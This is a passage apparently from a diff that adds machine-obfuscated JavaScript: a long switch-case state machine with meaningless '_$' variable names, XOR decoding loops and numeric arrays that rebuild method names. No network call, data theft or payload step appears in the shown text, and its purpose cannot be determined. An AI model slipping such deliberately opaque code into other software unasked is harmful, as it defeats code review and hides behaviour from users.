_$c; + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Hc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Hc; + _$i = 2; + _$o = _$ua; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$Hc; + _$q = 2; + _$H = _$ua; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Hc; + _$$ = _$ua; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$xc = _$f; + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Hc; + _$t = _$ua; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Hc; + _$r = _$ua; + _$c = _$xc; + _$a[_$r] = _$c; + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Hc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + _$Pa.apply(_$E, _$za); + break; + case 23: + _$uc = _$uc + 1; + break; + case 24: + _$pa = 5; + _$ya = _$Ko; + _$wa = 1; + break; + case 25: + _$dc = [417792, 442368, 454656, 454656, 466944]; + break; + case 26: + if (_$$c instanceof Array && _$av > 0) { + _$a = _$dW; + _$QY = _$a + } else { + _$a = _$dW; + _$hW = _$a + } + break; + case 27: + _$As = _$As + 1; + break; + case 28: + _$da = _$gY[_$Uv](0, _$Fa); + _$Ia = _$Do; + _$Aa = 1; + break; + case 29: + _$ec = _$rc; + _$Pa.apply(_$E, _$cc); + break; + case 30: + _$Ze = _$Ra[0]; + break; + case 31: + _$fv = _$Ha[0]; + break; + case 32: + _$rv = _$da[0]; + break; + case 33: + _$Iv = _$Av; + break; + case 34: + _$ke = 1; + break; + case 35: + _$mr = 1; + break; + case 36: + _$tc = _$tc.p(_$fc); + break; + case 37: + for (_$Sa = Math[_$sr]((_$Xe.length - 2) / 2); _$Sa >= 0; _$Sa--) { + _$a = _$Xe; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Sa; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$Xe; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Xe; + _$i = _$Sa; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$Xe; + _$r = _$Sa; + _$c = _$a[_$r]; + _$Fe = _$c; + _$a = _$Xe; + _$r = _$Sa; + _$c = _$Xe; + _$v = 2; + _$s = _$Sa; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Fe; + _$a[_$n] = _$f + } + } else { + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Xe; + _$i = 2; + _$o = _$Sa; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Xe; + _$q = 2; + _$H = _$Sa; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Xe; + _$$ = _$Sa; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Fe = _$f; + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Xe; + _$t = _$Sa; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Xe; + _$r = _$Sa; + _$c = _$Fe; + _$a[_$r] = _$c; + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Xe; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Xe; + _$i = 2; + _$o = _$Sa; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$Xe; + _$q = 2; + _$H = _$Sa; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Xe; + _$$ = _$Sa; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Fe = _$f; + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Xe; + _$t = _$Sa; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Xe; + _$r = _$Sa; + _$c = _$Fe; + _$a[_$r] = _$c; + _$a = _$Xe; + _$r = 2; + _$c = _$Sa; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Xe; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 38: + _$Is = 1; + break; + case 39: + _$ma = _$BC; + break; + case 40: + _$Fv = _$Fv + 1; + break; + case 41: + for (_$Ta = _$uv; _$uv < _$nY.length; _$uv++) { + _$a = _$nY; + _$r = _$uv; + _$c = _$a[_$r]; + _$ja = _$c; + _$a = _$Ca; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$ja; + _$s = _$c < _$v; + if (_$s) { + _$a = _$Ca; + _$r = 0; + _$c = _$ja; + _$a[_$r] = _$c; + _$a = _$Ca; + _$r = 0; + _$c = _$Ca; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 42: + _$Ne = _$Ne + 1; + break; + case 43: + _$Ca = _$nY[_$ts](0, _$uv); + _$Ka = _$Do; + _$Qa = 1; + break; + case 44: + _$Ge = _$Ne; + break; + case 45: + _$Av = _$Av.p(_$Iv); + break; + case 46: + _$Pc = _$Pc.p(_$Oc); + break; + case 47: + _$Wa = _$BC; + break; + case 48: + _$Va = [417792, 442368, 454656, 454656, 466944]; + _$Pa.apply(_$E, _$fa); + break; + case 49: + _$cv = _$ba[0]; + break; + case 50: + _$Pr = _$Pr + 1; + break; + case 51: + _$$a = [471040, 442368, 430080, 405504, 413696]; + break; + case 52: + _$ec = 1; + break; + case 53: + _$Ya = 3; + _$Ua = _$Ko; + _$Oa = 1; + _$Pa = _$E.p; + break; + case 54: + _$dr = _$dr + 1; + break; + case 55: + for (_$Ga = _$Ya; _$Ya < _$nY.length; _$Ya++) { + _$a = _$nY; + _$r = _$Ya; + _$c = _$a[_$r]; + _$Na = _$c; + _$a = _$Xe; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$Na; + _$s = _$c < _$v; + if (_$s) { + _$a = _$Xe; + _$r = 0; + _$c = _$Na; + _$a[_$r] = _$c; + _$a = _$Xe; + _$r = 0; + _$c = _$Xe; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 56: + _$Za = _$BC; + _$za = [274, 367, 225, 102, 246, 101, 12, 46, 325, 375, 361, 158, 72, 250, 123, 278, 234, 160, 239, 319]; + break; + case 57: + _$Xv = _$Fv; + break; + case 58: + for (_$Ea = 0; _$Ea < _$Av.length; _$Ea++) { + _$a = _$Zv; + _$r = _$Av; + _$c = _$Ea; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Zv = _$t + } + break; + case 59: + _$Bc = _$Xc; + break; + case 60: + _$Ac = 1; + _$Pa.apply(_$E, _$ie); + break; + case 61: + _$Xa = _$Xa + 1; + break; + case 62: + _$dr = [471040, 442368, 430080, 405504, 413696]; + break; + case 63: + _$Ra = _$ZY[_$$r](0, _$Pe); + _$La = _$Do; + _$Va = 1; + break; + case 64: + for (_$qa = 0; _$qa < _$MW.length; _$qa++) { + _$a = _$we; + _$r = _$qa; + _$c = _$MW; + _$v = _$qa; + _$s = _$c[_$v]; + _$a[_$r] = _$s + } + break; + case 65: + _$Ha = _$EW[_$Hr](0, _$va); + _$Ba = _$Do; + _$Xa = 1; + break; + case 66: + _$Tr = [471040, 442368, 430080, 405504, 413696]; + break; + case 67: + _$Fa = 6; + _$Ja = _$Ko; + _$$a = 1; + break; + case 68: + for (_$ae = 0; _$ae < _$hW.length; _$ae++) { + _$a = _$ae; + _$r = _$Cv; + _$c = _$a % _$r; + _$Dv = _$c; + _$a = _$hW; + _$r = _$ae; + _$c = _$hW; + _$v = _$ae; + _$s = _$c[_$v]; + _$n = _$iv; + _$f = _$Dv; + _$t = _$n[_$f]; + _$i = _$s ^ _$t; + _$a[_$r] = _$i + } + break; + case 69: + for (_$ee = 0; _$ee < _$ds.length; _$ee++) { + _$a = _$Za; + _$r = _$ds; + _$c = _$ee; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Za = _$t + } + break; + case 70: + _$rc = _$rc.p(_$ec); + break; + case 71: + _$_r = -5; + break; + case 72: + _$Gv = _$Nv; + _$Pa.apply(_$E, _$bs); + break; + case 73: + _$av = _$hW.length; + break; + case 74: + _$Xa = [417792, 442368, 454656, 454656, 466944]; + break; + case 75: + for (_$re = 0; _$re < _$As.length; _$re++) { + _$a = _$$v; + _$r = _$As; + _$c = _$re; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$$v = _$t + } + break; + case 76: + for (_$ce = 0; _$ce < _$dc.length; _$ce++) { + _$a = _$Be; + _$r = _$dc; + _$c = _$ce; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Be = _$t + } + break; + case 77: + _$MW = _$Ss; + break; + case 78: + _$ws = 1; + break; + case 79: + for (_$ve = 0; _$ve < _$yv.length; _$ve++) { + _$a = _$ts; + _$r = _$yv; + _$c = _$ve; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$ts = _$t + } + _$se = [372, 87, 78, 56, 200, 154, 69, 105, 293, 309, 224, 281, 219, 59, 269, 170, 366, 22, 294, 270]; + break; + case 80: + try { + _$a = Int; + _$ne = _$a + } catch (_$a) {} + _$fe = [304, 344, 130, 354, 261, 94, 229, 79, 82, 43, 297, 287, 39, 110, 256, 242, 238, 104, 41, 212]; + break; + case 81: + for (_$te = 0; _$te < _$Qv.length; _$te++) { + _$a = _$ps; + _$r = _$Qv; + _$c = _$te; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$ps = _$t + } + break; + case 82: + _$yv = _$yv.p(_$pv); + break; + case 83: + _$uc = [417792, 442368, 454656, 454656, 466944]; + break; + case 84: + _$Wr = [471040, 442368, 430080, 405504, 413696]; + _$ie = [338, 363, 126, 334, 127, 315, 16, 358, 198, 307, 159, 168, 326, 33, 282, 58, 45, 279, 355, 146]; + break; + case 85: + _$oe = 6; + _$ke = _$Ko; + _$be = 1; + break; + case 86: + for (_$le = _$Ms; _$Ms < _$EW.length; _$Ms++) { + _$a = _$EW; + _$r = _$Ms; + _$c = _$a[_$r]; + _$he = _$c; + _$a = _$jc; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$he; + _$s = _$c < _$v; + if (_$s) { + _$a = _$jc; + _$r = 0; + _$c = _$he; + _$a[_$r] = _$c; + _$a = _$jc; + _$r = 0; + _$c = _$jc; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 87: + _$ds = _$ds + 1; + break; + case 88: + _$ls = 1; + break; + case 89: + _$ge = _$BC; + break; + case 90: + for (_$ue = 0; _$ue < _$qY.length; _$ue++) { + _$a = _$ue; + _$r = _$ea; + _$c = _$a % _$r; + _$ra = _$c; + _$a = _$qY; + _$r = _$ue; + _$c = _$qY; + _$v = _$ue; + _$s = _$c[_$v]; + _$n = _$iv; + _$f = _$ra; + _$t = _$n[_$f]; + _$i = _$s ^ _$t; + _$a[_$r] = _$i + } + break; + case 91: + _$$e = _$$e + 1; + break; + case 92: + _$pe = _$BC; + break; + case 93: + _$ye = _$BC; + break; + case 94: + _$pv = _$yv; + break; + case 95: + _$we = new Array(_$MW.length); + break; + case 96: + for (_$de = 0; _$de < _$hs.length; _$de++) { + _$a = _$Gc; + _$r = _$hs; + _$c = _$de; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Gc = _$t + } + break; + case 97: + _$$c = _$hW; + break; + case 98: + _$Aa = _$Aa + 1; + _$Pa.apply(_$E, _$lr); + break; + case 99: + for (_$Me = _$rs; _$rs < _$qY.length; _$rs++) { + _$a = _$qY; + _$r = _$rs; + _$c = _$a[_$r]; + _$Ie = _$c; + _$a = _$oa; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$Ie; + _$s = _$c < _$v; + if (_$s) { + _$a = _$oa; + _$r = 0; + _$c = _$Ie; + _$a[_$r] = _$c; + _$a = _$oa; + _$r = 0; + _$c = _$oa; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 100: + _$Oa = _$Oa + 1; + break; + case 101: + _$Pc = [471040, 442368, 430080, 405504, 413696]; + break; + case 102: + _$Ae = _$BC; + break; + case 103: + _$ev = _$YY; + break; + case 104: + for (_$Se = Math[_$ma]((_$Ca.length - 2) / 2); _$Se >= 0; _$Se--) { + _$a = _$Ca; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Se; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$Ca; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ca; + _$i = _$Se; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$Ca; + _$r = _$Se; + _$c = _$a[_$r]; + _$Da = _$c; + _$a = _$Ca; + _$r = _$Se; + _$c = _$Ca; + _$v = 2; + _$s = _$Se; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Da; + _$a[_$n] = _$f + } + } else { + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ca; + _$i = 2; + _$o = _$Se; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Ca; + _$q = 2; + _$H = _$Se; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Ca; + _$$ = _$Se; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Da = _$f; + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ca; + _$t = _$Se; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Ca; + _$r = _$Se; + _$c = _$Da; + _$a[_$r] = _$c; + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ca; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ca; + _$i = 2; + _$o = _$Se; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$Ca; + _$q = 2; + _$H = _$Se; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Ca; + _$$ = _$Se; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Da = _$f; + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Ca; + _$t = _$Se; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Ca; + _$r = _$Se; + _$c = _$Da; + _$a[_$r] = _$c; + _$a = _$Ca; + _$r = 2; + _$c = _$Se; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Ca; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 105: + _$ds = _$ds.p(_$ws); + break; + case 106: + for (_$me = 0; _$me < _$vs.length; _$me++) { + _$a = _$rr; + _$r = _$vs; + _$c = _$me; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$rr = _$t + } + break; + case 107: + _$Oa = _$Oa.p(_$Ua); + break; + case 108: + _$cs = _$vs; + break; + case 109: + break; + case 110: + _$Ka = _$Qa; + break; + case 111: + break; + case 112: + for (_$Ke = 0; _$Ke < _$Oa.length; _$Ke++) { + _$a = _$pe; + _$r = _$Oa; + _$c = _$Ke; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$pe = _$t + } + break; + case 113: + for (_$Qe = _$yr; _$yr < _$qY.length; _$yr++) { + _$a = _$qY; + _$r = _$yr; + _$c = _$a[_$r]; + _$We = _$c; + _$a = _$lc; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$We; + _$s = _$c < _$v; + if (_$s) { + _$a = _$lc; + _$r = 0; + _$c = _$We; + _$a[_$r] = _$c; + _$a = _$lc; + _$r = 0; + _$c = _$lc; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 114: + _$Ye = _$BC; + break; + case 115: + _$Qr = 1; + break; + case 116: + for (_$Ue = Math[_$ps]((_$oa.length - 2) / 2); _$Ue >= 0; _$Ue--) { + _$a = _$oa; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Ue; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$oa; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$oa; + _$i = _$Ue; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$oa; + _$r = _$Ue; + _$c = _$a[_$r]; + _$ka = _$c; + _$a = _$oa; + _$r = _$Ue; + _$c = _$oa; + _$v = 2; + _$s = _$Ue; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$ka; + _$a[_$n] = _$f + } + } else { + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$oa; + _$i = 2; + _$o = _$Ue; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$oa; + _$q = 2; + _$H = _$Ue; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$oa; + _$$ = _$Ue; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$ka = _$f; + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$oa; + _$t = _$Ue; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$oa; + _$r = _$Ue; + _$c = _$ka; + _$a[_$r] = _$c; + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$oa; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$oa; + _$i = 2; + _$o = _$Ue; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$oa; + _$q = 2; + _$H = _$Ue; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$oa; + _$$ = _$Ue; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$ka = _$f; + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$oa; + _$t = _$Ue; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$oa; + _$r = _$Ue; + _$c = _$ka; + _$a[_$r] = _$c; + _$a = _$oa; + _$r = 2; + _$c = _$Ue; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$oa; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 117: + _$cs = 1; + break; + case 118: + for (_$Oe = 0; _$Oe < _$Fv.length; _$Oe++) { + _$a = _$vr; + _$r = _$Fv; + _$c = _$Oe; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$vr = _$t + } + break; + case 119: + _$Pe = 4; + _$Ge = _$Ko; + _$Ne = 1; + break; + case 120: + for (_$Ze = 0; _$Ze < _$$c.length; _$Ze++) { + _$a = _$ev; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 0; + _$s = _$c > _$v; + _$n = _$s; + if (_$n) { + _$V = _$Ze; + _$q = false; + _$n = _$V == _$q + } + if (_$n) { + _$a = []; + _$YY = _$a + } else { + _$a = _$Ze; + _$r = _$iv; + _$c = _$PC; + _$v = _$r[_$c]; + _$s = _$a % _$v; + _$n = [_$s]; + _$av = _$n; + _$a = _$YY; + _$r = _$LC; + _$c = _$$c; + _$v = _$Ze; + _$s = _$c[_$v]; + _$n = _$iv; + _$f = _$av; + _$t = _$n[_$f]; + _$i = _$s ^ _$t; + _$a[_$r](_$i) + } + } + break; + case 121: + _$ze = _$BC; + _$Ee = [262, 306, 228, 124, 49, 197, 221, 35, 166, 169, 66, 151, 196, 237, 129, 316, 331, 257, 244, 336]; + break; + case 122: + if (_$Rr + _$_r > 0) { + _$a = _$Lr; + _$r = 3; + _$c = _$a >> _$r; + _$Vr = _$c; + _$a = _$_r; + _$r = _$Vr; + _$c = _$a + _$r; + _$Vr = _$c; + _$a = _$Rr; + _$r = _$Lr; + _$c = _$Vr; + _$v = _$r * _$c; + _$s = _$a >> _$v; + _$n = _$Rr; + _$f = _$s >> _$n; + _$_r = _$f; + _$a = _$_r; + _$r = _$Vr; + _$c = _$a / _$r; + _$Vr = _$c + } + break; + case 123: + for (_$Re = 0; _$Re < _$Nv.length; _$Re++) { + _$a = _$nr; + _$r = _$Nv; + _$c = _$Re; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$nr = _$t + } + break; + case 124: + for (_$_e = _$oe; _$oe < _$XW.length; _$oe++) { + _$a = _$XW; + _$r = _$oe; + _$c = _$a[_$r]; + _$Le = _$c; + _$a = _$ba; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$Le; + _$s = _$c < _$v; + if (_$s) { + _$a = _$ba; + _$r = 0; + _$c = _$Le; + _$a[_$r] = _$c; + _$a = _$ba; + _$r = 0; + _$c = _$ba; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 125: + _$na = _$na.p(_$sa); + break; + case 126: + _$Ve = _$BC; + break; + case 127: + _$Er = [471040, 442368, 430080, 405504, 413696]; + break; + case 128: + _$Ja = 1; + break; + case 129: + _$tc = _$tc + 1; + break; + case 130: + _$pv = 1; + break; + case 131: + for (_$qe = Math[_$vr]((_$xv.length - 2) / 2); _$qe >= 0; _$qe--) { + _$a = _$xv; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$qe; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$xv; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$xv; + _$r = 2; + _$c = _$qe; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$xv; + _$i = _$qe; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$xv; + _$r = _$qe; + _$c = _$a[_$r]; + _$Bv = _$c; + _$a = _$xv; + _$r = _$qe; + _$c = _$xv; + _$v = 2; + _$s = _$qe; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$xv; + _$r = 2; + _$c = _$qe; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Bv; + _$a[_$n] = _$f + } + } else { + _$a = _$xv; + _$r = 2; + _$c = _$qe; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$xv; + _$i = 2; + _$o = _$qe; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + 